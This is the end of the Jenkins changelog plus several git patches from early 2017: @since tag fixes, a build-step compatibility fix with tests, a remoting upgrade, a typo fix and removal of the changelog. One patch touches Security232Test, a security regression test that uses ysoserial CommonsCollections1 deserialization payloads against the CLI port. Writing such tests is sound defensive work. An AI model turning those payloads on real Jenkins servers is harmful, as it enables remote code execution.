                                                                      • - Report number of all jobs as part of usage statistics - (issue 21448) -
                                                                      • - Replace description in error dialog instead of appending - (issue 21457) -
                                                                      -

                                                                      What's new in 1.549 (2014/01/25)

                                                                      -
                                                                        -
                                                                      • - Removing the "keep this build forever" lock on a build should require the DELETE permission. - (issue 16417) -
                                                                      • - Files added to zip archive are closed properly. - (issue 20345) -
                                                                      • - Broken CSS when reloading Jenkins after a time of inactivity - (issue 17526) -
                                                                      • - Add Batch Command tool installer for Windows nodes. - (issue 21202) -
                                                                      • - Allow more specific loggers to reduce log level. - (issue 21386) -
                                                                      -

                                                                      What's new in 1.548 (2014/01/20)

                                                                      -
                                                                        -
                                                                      • - API for adding actions to a wide class of model objects at once. - (issue 18224) -
                                                                      • - Added infrastructure for moving items into or out of folders. - (issue 20008) - (issue 18028) - (issue 18680) -
                                                                      • - Apply buttons did not work in Internet Explorer in compatibility mode. - (issue 19826) -
                                                                      • - Builds can seem to disappear from a job in a folder if that folder is renamed. - (issue 18694) -
                                                                      • - /login offers link to /opensearch.xml which anonymous users cannot retrieve. - (issue 21254) -
                                                                      • - Added API class SecurityListener to receive login events and similar. - (issue 20999) -
                                                                      • - Option to hold lazy-loaded build references strongly, weakly, and more. - (issue 19400) -
                                                                      -

                                                                      What's new in 1.547 (2014/01/12)

                                                                      -
                                                                        -
                                                                      • - Split Windows slave functionality into its own plugin. -
                                                                      • - NPE since 1.545 when using aggregated test result publisher without specifying downstream jobs explicitly. - (issue 18410) -
                                                                      • - Fixed Trend Graph NPE when there isn't any builds - (issue 21239) -
                                                                      -

                                                                      What's new in 1.546 (2014/01/06)

                                                                      -
                                                                        -
                                                                      • - Builds disappear after renaming a job. - (issue 18678) -
                                                                      • - When clicking Apply to rename a job, tell the user that Save must be used instead. - (issue 17401) -
                                                                      • - Exception from XStream running Maven builds on strange Java versions. - (issue 21183) -
                                                                      • - When clicking Apply results in an exception (error page), show it, rather than creating an empty dialog. - (issue 20772) -
                                                                      -

                                                                      Older changelogs can be found in a separate file -- GitLab From 6386257578b875b4462accd54af5e16475296b8e Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 14 Feb 2017 14:51:06 -0500 Subject: [PATCH 797/811] @daniel-beck forgot to update since tags when merging #1485. --- core/src/main/java/hudson/Functions.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index d8ef3c4ef4..8a6e1a9d06 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -1510,7 +1510,7 @@ public class Functions { * Like {@link Throwable#printStackTrace(PrintWriter)} but using {@link #printThrowable} format. * @param t an exception to print * @param pw the log - * @since FIXME + * @since 2.43 */ public static void printStackTrace(@CheckForNull Throwable t, @Nonnull PrintWriter pw) { pw.println(printThrowable(t).trim()); @@ -1520,7 +1520,7 @@ public class Functions { * Like {@link Throwable#printStackTrace(PrintStream)} but using {@link #printThrowable} format. * @param t an exception to print * @param ps the log - * @since FIXME + * @since 2.43 */ public static void printStackTrace(@CheckForNull Throwable t, @Nonnull PrintStream ps) { ps.println(printThrowable(t).trim()); -- GitLab From 01fe717f35f60aa92f13e1117e489b3d297e3e70 Mon Sep 17 00:00:00 2001 From: Brendan Nolan Date: Tue, 14 Feb 2017 20:52:45 +0000 Subject: [PATCH 798/811] [JENKINS-18734] - Call perform(AbstractBuild build, Launcher launcher, BuildListener listener) if implemented in BuildStep --- .../tasks/BuildStepCompatibilityLayer.java | 12 ++++- .../BuildStepCompatibilityLayerTest.java | 54 +++++++++++++++++++ 2 files changed, 64 insertions(+), 2 deletions(-) create mode 100644 core/src/test/java/hudson/tasks/BuildStepCompatibilityLayerTest.java diff --git a/core/src/main/java/hudson/tasks/BuildStepCompatibilityLayer.java b/core/src/main/java/hudson/tasks/BuildStepCompatibilityLayer.java index 24e2093c10..d47a246aad 100644 --- a/core/src/main/java/hudson/tasks/BuildStepCompatibilityLayer.java +++ b/core/src/main/java/hudson/tasks/BuildStepCompatibilityLayer.java @@ -31,9 +31,12 @@ import hudson.model.Action; import hudson.model.Project; import hudson.model.AbstractBuild; import hudson.model.AbstractProject; +import hudson.util.ReflectionUtils; import hudson.Launcher; +import hudson.Util; import java.io.IOException; +import java.lang.reflect.Method; import java.util.Collection; import java.util.Collections; @@ -118,8 +121,13 @@ public abstract class BuildStepCompatibilityLayer implements BuildStep { * Use {@link #perform(AbstractBuild, Launcher, BuildListener)} instead. */ @Deprecated - public boolean perform(Build build, Launcher launcher, BuildListener listener) throws InterruptedException, IOException { - throw new UnsupportedOperationException(); + public boolean perform(Build build, Launcher launcher, BuildListener listener) + throws InterruptedException, IOException { + if (build instanceof AbstractBuild && Util.isOverridden(BuildStepCompatibilityLayer.class, this.getClass(), + "perform", AbstractBuild.class, Launcher.class, BuildListener.class)) { + return perform((AbstractBuild) build, launcher, listener); + } + throw new AbstractMethodError(); } /** diff --git a/core/src/test/java/hudson/tasks/BuildStepCompatibilityLayerTest.java b/core/src/test/java/hudson/tasks/BuildStepCompatibilityLayerTest.java new file mode 100644 index 0000000000..c310e1f661 --- /dev/null +++ b/core/src/test/java/hudson/tasks/BuildStepCompatibilityLayerTest.java @@ -0,0 +1,54 @@ +package hudson.tasks; + +import static org.junit.Assert.assertTrue; +import hudson.Launcher; +import hudson.model.AbstractBuild; +import hudson.model.BuildListener; +import hudson.model.FreeStyleBuild; + +import java.io.IOException; + +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.mockito.Mockito; + +public class BuildStepCompatibilityLayerTest { + + @Issue("JENKINS-18734") + @Test(expected = AbstractMethodError.class) + public void testPerformExpectAbstractMethodError() throws InterruptedException, IOException { + + FreeStyleBuild mock = Mockito.mock(FreeStyleBuild.class, Mockito.CALLS_REAL_METHODS); + BuildStepCompatibilityLayer bscl = new BuildStepCompatibilityLayer() { + @Override + public BuildStepMonitor getRequiredMonitorService() { + return null; + } + }; + bscl.perform(mock, null, null); + + } + + @Issue("JENKINS-18734") + @Test + public void testPerform() throws InterruptedException, IOException { + + FreeStyleBuild mock = Mockito.mock(FreeStyleBuild.class, Mockito.CALLS_REAL_METHODS); + BuildStepCompatibilityLayer bscl = new BuildStepCompatibilityLayer() { + + @Override + public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) + throws InterruptedException, IOException { + return true; + } + + @Override + public BuildStepMonitor getRequiredMonitorService() { + return null; + } + }; + assertTrue(bscl.perform(mock, null, null)); + + } + +} -- GitLab From 87add643656e72b89fa7b4187dcbe7ffc65732bc Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 15 Feb 2017 09:35:03 +0000 Subject: [PATCH 799/811] Noting merge of JENKINS-41899 --- changelog.html | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 7e0088cdde..06951f666a 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,10 @@ Upcoming changes

                                                                      What's new in 2.46 (2017/02/13)

                                                                      -- GitLab From 815da8aa732baa699481828dda67dd5835ba4992 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 17 Feb 2017 10:17:44 +0300 Subject: [PATCH 800/811] Update remoting to 3.5 https://github.com/jenkinsci/remoting/edit/master/CHANGELOG.md Fixed issues: * [JENKINS-40710](https://issues.jenkins-ci.org/browse/JENKINS-40710) - Match headers case-insensitively in `JnlpAgentEndpointResolver` in order to be compliant with HTTP2 lower-case headers. ([PR #139](https://github.com/jenkinsci/remoting/pull/139), [PR #140](https://github.com/jenkinsci/remoting/pull/140)) * [JENKINS-41513](https://issues.jenkins-ci.org/browse/JENKINS-41513) - Prevent `NullPointerException` in `JnlpAgentEndpointResolver` when receiving a header with `null` name. ([PR #140](https://github.com/jenkinsci/remoting/pull/140)) * [JENKINS-41852](https://issues.jenkins-ci.org/browse/JENKINS-41852) - Fix exported object pinning logic to prevent release due to the integer overflow. ([PR #148](https://github.com/jenkinsci/remoting/pull/148)) Improvements: * [JENKINS-41730](https://issues.jenkins-ci.org/browse/JENKINS-41730) - Add the new `org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver.ignoreJenkinsAgentProtocolsHeader` property, which allows specifying a custom list of supported protocols instead of the one returned by the Jenkins master. ([PR #146](https://github.com/jenkinsci/remoting/pull/146)) * Print the Filesystem Jar Cache directory location in the error message when this cache directory is not writable. ([PR #143](https://github.com/jenkinsci/remoting/pull/143)) * Replace `MimicException` with the older `ProxyException` when serializing non-serializable exceptions thrown by the remote code. ([PR #141](https://github.com/jenkinsci/remoting/pull/141)) * Use OID of the `ClassLoaderProxy` in error message when the proxy cannot be located in the export table. ([PR #147](https://github.com/jenkinsci/remoting/pull/147)) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 8166d8787d..10755f4090 100644 --- a/pom.xml +++ b/pom.xml @@ -181,7 +181,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 3.4.1 + 3.5 -- GitLab From 88cd9136ca48c9977911607d6229aac7bf6d2f3f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 17 Feb 2017 12:13:07 -0500 Subject: [PATCH 801/811] Security232Test seems flaky. --- test/src/test/java/jenkins/security/Security232Test.java | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/test/src/test/java/jenkins/security/Security232Test.java b/test/src/test/java/jenkins/security/Security232Test.java index 26ff457c4a..6b3d8e3acf 100644 --- a/test/src/test/java/jenkins/security/Security232Test.java +++ b/test/src/test/java/jenkins/security/Security232Test.java @@ -19,6 +19,7 @@ import java.lang.reflect.Proxy; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.net.Socket; +import java.net.SocketException; import java.net.URL; import java.net.URLClassLoader; import java.rmi.activation.ActivationDesc; @@ -34,6 +35,7 @@ import static jenkins.security.security218.Payload.CommonsCollections1; import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; import jenkins.security.security218.ysoserial.payloads.ObjectPayload; import static org.junit.Assert.*; +import org.junit.Assume; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.Issue; @@ -82,7 +84,11 @@ public class Security232Test { dos.writeUTF("Protocol:CLI-connect"); ExecutorService cp = Executors.newCachedThreadPool(); - c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + try { + c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + } catch (SocketException x) { + Assume.assumeNoException("failed to connect to CLI", x); + } System.err.println("* Channel open"); -- GitLab From 441628ad5549ed7e96b54ee560d3528e319c33df Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 17 Feb 2017 12:57:16 -0800 Subject: [PATCH 802/811] Typo --- core/src/main/resources/hudson/model/User/index_es.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/User/index_es.properties b/core/src/main/resources/hudson/model/User/index_es.properties index 1e459022c5..e11bdca7c5 100644 --- a/core/src/main/resources/hudson/model/User/index_es.properties +++ b/core/src/main/resources/hudson/model/User/index_es.properties @@ -20,4 +20,4 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Jenkins\ User\ Id=Id de Usuario Jerkins +Jenkins\ User\ Id=Id de Usuario Jenkins -- GitLab From 1fe62ea77f57e4fbc7cea792fec5f097f73c554d Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 19 Feb 2017 21:06:25 +0100 Subject: [PATCH 803/811] Remove changelog from jenkinsci/jenkins repository (#2757) * Remove changelog from jenkinsci/jenkins repository * Add tombstone file directing people to jenkins-infra/jenkins.io --- changelog.html | 1420 +----------------------------------------------- 1 file changed, 8 insertions(+), 1412 deletions(-) diff --git a/changelog.html b/changelog.html index 06951f666a..20a2db735b 100644 --- a/changelog.html +++ b/changelog.html @@ -1,1419 +1,15 @@ - - - - - Changelog - - - - - -
                                                                      Legend: - - major RFEmajor enhancement RFEenhancement - major bugmajor bug fix bugbug fix - xxxxx -
                                                                      - - - - - -Upcoming changes -Community ratings - - - -

                                                                      What's new in 2.46 (2017/02/13)

                                                                      -
                                                                        -
                                                                      • - Failure to serialize a single Action could cause an entire REST export response to fail. - Upgraded to Stapler 1.250 with a fix. - (issue 40088) -
                                                                      • - Do not fail to write a log file just because something deleted the parent directory. - (issue 16634) -
                                                                      • - Use extensible BUILD_NOW_TEXT for parameterized jobs. - (issue 41457) -
                                                                      • - Display an informative message, rather than a Groovy exception, when View#getItems fails. - (issue 41825) -
                                                                      • - Don't consider a project to be parameterized if no parameters are defined. - (issue 37590) -
                                                                      • - Don't add all group names as HTTP headers on "access denied" pages. - (issue 39402) -
                                                                      • - Ensure that PluginManager#dynamicLoad runs as SYSTEM. - (issue 41684) -
                                                                      • - Add Usage Statistics section to the global configuration to make it easier to find. - (issue 32938) -
                                                                      • - Allow groovy CLI command via SSH CLI. - (issue 41765) - -
                                                                      -

                                                                      What's new in 2.45 (2017/02/06)

                                                                      -
                                                                        -
                                                                      • - Delete obsolete pinning UI. - (issue 34065) -
                                                                      • - Don't try to set Agent Port when it is enforced, breaking form submission. - (issue 41511) -
                                                                      • - Use project-specific validation URL for SCM Trigger, so H is handled correctly in preview. - (issue 26977) -
                                                                      • - Fix completely wrong Basque translation. - (pull 2731) -
                                                                      -

                                                                      What's new in 2.44 (2017/02/01)

                                                                      - -

                                                                      What's new in 2.43 (2017/01/29)

                                                                      -
                                                                        -
                                                                      • - Print stack traces in logical order, with the most important part on top. - (pull 1485) -
                                                                      -

                                                                      What's new in 2.42 (2017/01/22)

                                                                      -
                                                                        -
                                                                      • - IllegalStateException from Winstone when making certain requests with access logging enabled. - (issue 37625) -
                                                                      -

                                                                      What's new in 2.41 (2017/01/15)

                                                                      -
                                                                        -
                                                                      • - Restore option value for setting build result to unstable when loading shell and batch build steps from disk. - (issue 40894) -
                                                                      • - Autocomplete admin-only links in search suggestions only when admin. - (issue 7874) -
                                                                      • - Improve agent protocol descriptions. - (issue 40700) -
                                                                      • - Improve description for Enable Security option and administrative monitor when security is off. - (issue 40813) -
                                                                      • - Enable the JNLP4 agent protocol by default. - (issue 40886) -
                                                                      -

                                                                      What's new in 2.40 (2017/01/08)

                                                                      -
                                                                        -
                                                                      • - Support displaying of warnings from the Update Site in the Plugin Manager - and in administrative monitors. - (issue 40494, - announcement blog post) -
                                                                      • - Do not print warnings about undefined parameters - when hudson.model.ParametersAction.keepUndefinedParameters property is set to false. - (pull 2687) -
                                                                      • - Increase the JENKINS_HOME disk space threshold from 1Gb to 10Gb left. - The warning will be shown only if more than 90% of the disk is utilized. - (issue 40749) -
                                                                      • - Plugin Manager: Redirect back to the Advanced Tab when saving the Update Site URL. - (pull 2703) -
                                                                      • - Prevent the ClassNotFoundException: javax.servlet.ServletException error - when invoking shell tasks on remote agents. - (issue 40863) -
                                                                      • - Jobs were hanging during process termination on the Solaris 11 Intel platform. - (issue 40470, regression in 2.20) -
                                                                      • - Fix handling of the POST flag in ManagementLinks within the Manage Jenkins page. - (issue 38175) -
                                                                      • - Require POST in the Reload from disk management link. - (pull 2692) -
                                                                      -

                                                                      What's new in 2.39 (2017/01/02)

                                                                      -
                                                                        -
                                                                      • - Properties were not passed to Maven command by Maven build step when the Inject Build Variables flag was not set. - (issue 39268) -
                                                                      • - Update remoting to 3.4 in order to properly terminate the channel in the case Errors and Exceptions. - (issue 39835) -
                                                                      • - Improved Polish and Catalan translations. - (pull 2688 and - pull 2686) -
                                                                      -

                                                                      What's new in 2.38 (2016/12/25)

                                                                      -
                                                                        -
                                                                      • - Update to Winstone 3.2 to support ad-hoc certificate generation on Java 8 (using unsupported APIs). - This option is deprecated and will be removed in a future release. - We strongly recommend you create self-signed certificates yourself and use --httpsKeyStore and related options instead. - (issue 25333) -
                                                                      • - The install-plugin CLI command now correctly installs plugins when multiple file arguments are specified. - (issue 32358) -
                                                                      • - Correctly state that Jenkins will refuse to load plugins whose dependencies are not satisfied in plugin manager. - (issue 40666) -
                                                                      -

                                                                      What's new in 2.37 (2016/12/18)

                                                                      -
                                                                        -
                                                                      • - Allow defining agent ping interval and ping timeout in seconds. - It can be done via the - hudson.slaves.ChannelPinger.pingIntervalSeconds and - hudson.slaves.ChannelPinger.pingTimeoutSeconds - - system properties. - (issue 28245) -
                                                                      • - Delegate JNLP HMAC computation to SlaveComputer instances when possible. - (issue 40286) -
                                                                      • - Diagnosability: Split Exception handling of node provision and adding to Jenkins. - (issue 38903) -
                                                                      • - Do not report -noCertificateCheck warning to STDOUT. - (pull 2666) -
                                                                      • - Improve overall performance of Jenkins by accessing item group elements without sorting where it is possible. - (pull 2665) -
                                                                      • - Convert URI encoding check on the Manage Jenkins page into admin monitor. - (issue 39433) -
                                                                      • - Update SSHD Core from 0.8.0 to 0.14.0. - (pull 2662) -
                                                                      • - SSHD Module: Handshake was failing (wrong shared secret) 1 out of 256 times due to - SSHD-330. - (issue 40362) -
                                                                      • - View display name was ignored during rendering of tabs. - (issue 39300) -
                                                                      • - Job configuration submission now does not fail when there is no parameters property. - (issue 39700, regression in 1.637) -
                                                                      • - Fix names of item loading and cleanup Jenkins initialization stages. - (issue 40489) -
                                                                      • - Performance: Use bulk change when submitting Job configurations - to minimize the number of sequential config.xml write operations. - (issue 40435) -
                                                                      • - Check for Updates button in the Plugin Manager was hidden in the Updates tab - when there was no plugins updates available. - (issue 39971) -
                                                                      • - Remoting 3.3: Agent JAR cache corruption was causing malfunctioning of agents. - (issue 39547) -
                                                                      • - Remoting 3.3: Improve diagnostics of the preliminary FifoBuffer termination in the JNLP2 protocol. - (issue 40491) -
                                                                      • - Remoting 3.3: Hardening of FifoBuffer operation logic. - The change improves the original fix of - JENKINS-25218. - (remoting pull #100) -
                                                                      • - Remoting 3.3: ProxyException now retains info about suppressed exceptions - when serializing over the channel. - (remoting pull #136) -
                                                                      • - API: Introduce the new Jenkins#isSubjectToMandatoryReadPermissionCheck(String restOfPath) method - for checking access permissions to particular paths. - (issue 32797) -
                                                                      • - API: Introduce new Node#getNodeProperty() methods for retrieving node properties. - (issue 40365) -
                                                                      • - API: Introduce new Items#allItems() methods for accessing items in item groups without sorting overhead. - (issue 40252) -
                                                                      • - Improved Polish translation. - (pull 2643) -
                                                                      -

                                                                      What's new in 2.36 (2016/12/11)

                                                                      -
                                                                        -
                                                                      • - Several badges were missing in builds flagged as KeepBuildForever. - (issue 40281, regression in 2.34) -
                                                                      • - Retain cause of blockage if the Queue task cannot be taken due to the decision of - QueueTaskDispatcher extension, NodeProperty and other extensions. - (issue 38514) -
                                                                      • - Internal API: Allow overriding UserProperty.setUser(User). - (issue 40266) -
                                                                      • - Internal API: Restrict usage of core localization message classes in plugins. - These message classes are not guaranteed to be binary compatible. - (pull 2656) -
                                                                      -

                                                                      What's new in 2.35 (2016/12/04)

                                                                      -
                                                                        -
                                                                      • - Add display name and full display name of items to the remote API. - (issue 39972) -
                                                                      • - API: Allow specifying log level in SystemProperties when a System property is undefined. - (pull 2646) -
                                                                      • - Followup fix for JENKINS-23271 in 2.34 addressing plugin implementations not using ProcStarter. - (pull 2653) -
                                                                      -

                                                                      What's new in 2.34 (2016/11/27)

                                                                      -
                                                                        -
                                                                      • - Improve performance of Action retrieval methods. - It speeds up core and plugin logic operating with Actionable objects like items, folders, nodes, etc. - (issue 38867) -
                                                                      • - Update the SSHD module from 1.7 to 1.8. - The change disables obsolete Ciphers: AES128CBC, TripleDESCBC, and BlowfishCBC. - (issue 39805) -
                                                                      • - Update the Windows process management library (WinP) from 1.22 to 1.24. - Full changelog is available here, only major issues are mentioned below. - (pull 2619) -
                                                                      • - WinP 1.24: Native class now tries loading DLLs from the temporary location. - (issue 20913) -
                                                                      • - WinP 1.24: WinP sometimes kills wrong processes when using killRecursive. - It was likely impacting process termination on Windows agents. - (WinP Issue #22) -
                                                                      -

                                                                      What's new in 2.33 (2016/11/20)

                                                                      -
                                                                        -
                                                                      • - Reduce size of Jenkins WAR file by not storing identical copies of remoting.jar/slave.jar there. - (pull 2633) -
                                                                      • - Prevent early deallocation of process references by Garbage Collector when starting a remote process. - It was sometimes causing build failures with messages like FATAL: Invalid object ID 184 iuota=187 and java.lang.Exception: Object was recently deallocated. - (issue 23271) -
                                                                      • - Make handling of internalization resource bundle names compliant with W3C standards. - (issue 39034) -
                                                                      • - Redirect to login page in the case of authorisation error when checking connectivity to the Update Center. - (issue 39741) -
                                                                      • - Remove the obsolete hudson.showWindowsServiceInstallLink property from the slave-agent.jnlp file. - It was causing harmless security warnings in Java web start. - (issue 39883) -
                                                                      • - Improved Polish translation. - (pull 2640) -
                                                                      -

                                                                      What's new in 2.32 (2016/11/16)

                                                                      -
                                                                        -
                                                                      • - Important security fixes - (security advisory) -
                                                                      • - Allow disabling the Jenkins CLI over HTTP and JNLP agent port by setting the System property jenkins.CLI.disabled to true. -
                                                                      -

                                                                      What's new in 2.31 (2016/11/13)

                                                                      -
                                                                        -
                                                                      • - Performance: Improve responsiveness of Jenkins web UI on mobile devices. - (issue 39172, continuation of the patch in 2.28) -
                                                                      • - It was not possible to connect Jenkins agents via Java Web Start due to the issue in Remoting 3.0. - Upgraded to Remoting 3.1 with a fix. - (issue 39596, regression in 2.26) -
                                                                      • - Prevent NullPointerException when rendering CauseOfInterruption.UserInterruption - in build summary pages for non-existent users. - (issue 38721 and - issue 37282, - regression in 2.14) -
                                                                      • - Reduce logging level when the localization resource is missing ResourceBundleUtil#getBundle(). - (issue 39604) -
                                                                      • - ExtensionList.removeAll was not unimplemented in Jenkins extension management API. - It was causing issues during dynamic loading of GitHub and BitBucket branch source plugins on the same instance. - (issue 39520) -
                                                                      • - Remoting 3.1: hudson.remoting.Engine (mostly Java Web Start) was failing to establish connection - if one of the URLs in urls parameter was malformed. - (issue 39617) -
                                                                      • - Remoting 3.1: Add method for dumping diagnostics across all the channels (e.g. in the Support Core Plugin). - (issue 39150) -
                                                                      • - Remoting 3.1: Improve the caller/callee correlation diagnostics in thread dumps. - (issue 39543) -
                                                                      • - Remoting 3.1: Add the org.jenkinsci.remoting.nio.NioChannelHub.disabled flag - for disabling NIO, mostly for debugging purposes. - (issue 39290) -
                                                                      • - Remoting 3.1: Add extra logging to help diagnosing IOHub concurrent thread number spikes. - (issue 38692) -
                                                                      • - Remoting 3.1: When a proxy fails, report what caused the channel to go down. - (issue 39289) -
                                                                      • - Improved Polish translation. - (pull 2631) -
                                                                      -

                                                                      What's new in 2.30 (2016/11/07)

                                                                      -
                                                                        -
                                                                      • - Adjust incompatible Actionable initialization changes made for issue 39404). - It caused massive regressions in plugins like Jenkins Pipeline. - (issue 39555, regression in 2.29) -
                                                                      • - Integration of Stapler 1.246 caused regressions in plugins depending on Ruby Runtime Plugin. - Upgraded to Stapler 1.248 with a fix. - (issue 39414, regression in 2.28) -
                                                                      • - Custom remoting enable/disable settings were not properly persisted on the disk and then reloaded. - If the option has been configured in Jenkins starting from 2.16, a reconfiguration may be required. - (issue 39465) -
                                                                      -

                                                                      What's new in 2.29 (2016/11/06)

                                                                      -

                                                                      - Warning! This release is not recommended for use due to - issue 39555 - and issue 39414. - We are working on the out-of-order release (discussion). -

                                                                      -
                                                                        -
                                                                      • - Performance: Optimize log retrieval logic for large log files. - (issue 39535) -
                                                                      • - Integration of Stapler 1.246 caused regressions in plugins depending on Ruby Runtime Plugin. - Upgraded to Stapler 1.247 with a partial fix. - (issue 39414, partial fix) -
                                                                      • - Jenkins startup does not fail if one of - - ComputerListeners throws exception in the onOnline() handler. - (issue 38487) -
                                                                      • - Queue: Do not consider pending tasks from the internal scheduling logic when looking for duplicate tasks. - It was causing race conditions in Jenkins Pipeline. - (issue 39454) -
                                                                      • - Internal: Modify the Actionable API to provide methods to assist with manipulation of persisted actions. - (issue 39404) -
                                                                      • - Internal: Jelly attribute documentation now supports the since tag. - (Stapler pull #84) -
                                                                      -

                                                                      What's new in 2.28 (2016/10/30)

                                                                      -
                                                                        -
                                                                      • - Performance: Improve responsiveness of Jenkins web UI on mobile devices. - (issue 39172) -
                                                                      • - Print warnings if none of Tool Installers can be used during the tool installation. - (issue 26940) -
                                                                      • - Update the minimal required versions of the detached Maven Project plugin from 2.7.1 to 2.14. - Changelog is available here. - (pull 2606) -
                                                                      • - Update the minimal required versions of the detached JUnit plugin from 1.2-beta-4 to 1.6. - Changelog is available here. - (pull 2606)) -
                                                                      • - Relax requirements of the JNLP connection receiver, which was rejections connections from agents not using - JNLPComputerLauncher (e.g. from Slave Setup, vSphere Cloud and other plugins). - No the connection is accepted from launchers implementing other proxying and filtering Launcher implementations. - Particular plugins may require setting up the - jenkins.slaves.DefaultJnlpSlaveReceiver.disableStrictVerification system property in the master JVM to allow connecting agents. - (issue 39232, regression in 2.28) -
                                                                      • - Prevent resource leak in hudson.XmlFile#readRaw() in the case of encoding issues. - (issue 39363) -
                                                                      • - Prevented endless loop in LargeText.BufferSession.skip(), which was causing hanging of Pipeline jobs in corner cases. - (issue 37664) -
                                                                      • - Internal: Upgrade Stapler library from 1.243 to 1.246 with fixes required for the Blue Ocean project. - More details are coming soon. - Raw changes are listed here. - (pull 2593) -
                                                                      • - Internal: Start defining APIs that are for the master JVM only. - (issue 38370) -
                                                                      • - Internal: Update Guice dependency from 4.0-beta to 4.0. - This change required upgrade of detached plugins (see above). - (pull 2568) -
                                                                      -

                                                                      What's new in 2.27 (2016/10/23)

                                                                      -
                                                                        -
                                                                      • - Upgrade to the Remoting 3 baseline. Compatibility notes are available - here. - (issue 37564) -
                                                                      • - Remoting 3.0: New JNLP4-connect protocol, - which improves performance and stability compared to the JNLP3-connect protocol. - (issue 36871) -
                                                                      • - Remoting 3.0: Agents using slave.jar now explicitly require Java 7. - (issue 37565) -
                                                                      • - Prevent deadlocks during modification of node executor numbers (e.g. during deletion of nodes). - (issue 31768) -
                                                                      • - Add missing internationalization support to ResourceBundleUtil. - It fixes internationalization in Blue Ocean - and Jenkins Design Language. - (issue 35845) -
                                                                      • - Internal: Make the code more compatible with Java 9 requirements and allow its editing in newest NetBeans versions - with NB bug 268452. - (pull 2595) -
                                                                      • - Internal: Icon handling API for items. - Deprecate TopLevelItemDescriptor#getIconFilePathPattern() and switch to IconSpec. - (issue 38960) -
                                                                      -

                                                                      What's new in 2.26 (2016/10/17)

                                                                      -
                                                                        -
                                                                      • - Allow CommandInterpreter build steps to set a build result as Unstable via the return code. - Shell and Batch build steps now support this feature. - (issue 23786) -
                                                                      • - Performance: Avoid acquiring locks in MaskingClassloader. - (issue 23784) -
                                                                      • - Performance: Update XStream driver to improve performance of XML serialization/deserialization. - (pull 2561) -
                                                                      • - Harden checks of prohibited names in user creation logic. - Untrimmed spaces and different letter cases are being checked now. - (issue 35967) -
                                                                      • - Performance: Fix the performance of file compress/uncompress operations over the remoting channel. - (issue 38640, - issue 38814) -
                                                                      • - Restore automatic line wrapping in Build Step text boxes with syntax highlighting. - (issue 27367) -
                                                                      • - Properly remove disabled Administrative Monitors from the extension list. - (issue 38678) -
                                                                      • - Remoting 2.62.2: Improve connection stability by turning on Socket Keep-alive by default. - Keep-alive can be disabled via the -noKeepAlive option. - (issue 38539) -
                                                                      • - Remoting 2.62.2: Prevent NullPointerException in Engine#connect() - when host or port parameters are null or empty. - (issue 37539) -
                                                                      • - Node build history page was hammering the performance of the Jenkins instance by spawning parallel heavy requests. - Now the information is being loaded sequentially. - (issue 23244) -
                                                                      • - Cleanup spelling in CLI help and error messages. - (issue 38650) -
                                                                      • - Properly handle quotes and other special symbols in item names during form validation. - (issue 31871) -
                                                                      • - Internal: Invoke hpi:record-core-location during the build in order to enabled coordinated run across repositories. - (pull 1894) -
                                                                      • - Internal: Bulk cleanup of @since definitions in Javadoc. - (pull 2578) -
                                                                      -

                                                                      What's new in 2.25 (2016/10/09)

                                                                      -
                                                                        -
                                                                      • - Display transient actions for labels. - (issue 38651) -
                                                                      • - Add user to restart log message for restart after plugin installation. - (issue 38615) -
                                                                      • - Internal: Code modernization: Use try-with-resources a lot more - (pull 2570) -
                                                                      -

                                                                      What's new in 2.24 (2016/10/02)

                                                                      -
                                                                        -
                                                                      • - Show notification with popup on most pages when administrative monitors are active. - (issue 38391) -
                                                                      • - Allow disabling/enabling administrative monitors on Configure Jenkins form. - (issue 38301) -
                                                                      • - Ensure exception stacktrace is shown when there's a FormException. - (pull 2555) -
                                                                      • - Add new jenkins.model.Jenkins.slaveAgentPortEnforce system property, which prevents slave agent port modification via Jenkins Web UI and form submissions. - (PR #2545) -
                                                                      • - Indicate hovered table row on striped tables. - (issue 32148) -
                                                                      • - Decrease connection timeout when changing the JNLP agent port via Groovy system scripts. - (issue 38473) -
                                                                      • - Added Serbian localization. - (PR #2554) -
                                                                      • - Exclude /cli URL from CSRF protection crumb requirement, making the CLI work with CSRF protection enabled and JNLP port disabled. - (issue 18114) -
                                                                      • - Prevent instantiation of jenkins.model.Jenkins on agents in the ProcessKillingVeto extension point. - (issue 38534) -
                                                                      • - Fix handling of the jenkins.model.Jenkins.slaveAgentPort system property, which was not honored. - (issue 38187, regression in 2.0) -
                                                                      • - CLI: Disable the channel message chunking by default. - Prevents connection issues like java.io.StreamCorruptedException: invalid stream header: 0A0A0A0A. - (issue 23232) -
                                                                      • - CLI: Connection over HTTP was not working correctly. - (issue 34287, regression in 2.0) -
                                                                      -

                                                                      What's new in 2.23 (2016/09/18)

                                                                      -
                                                                        -
                                                                      • - Fix JS/browser memory leak on Jenkins dashboard. - (issue 10912) -
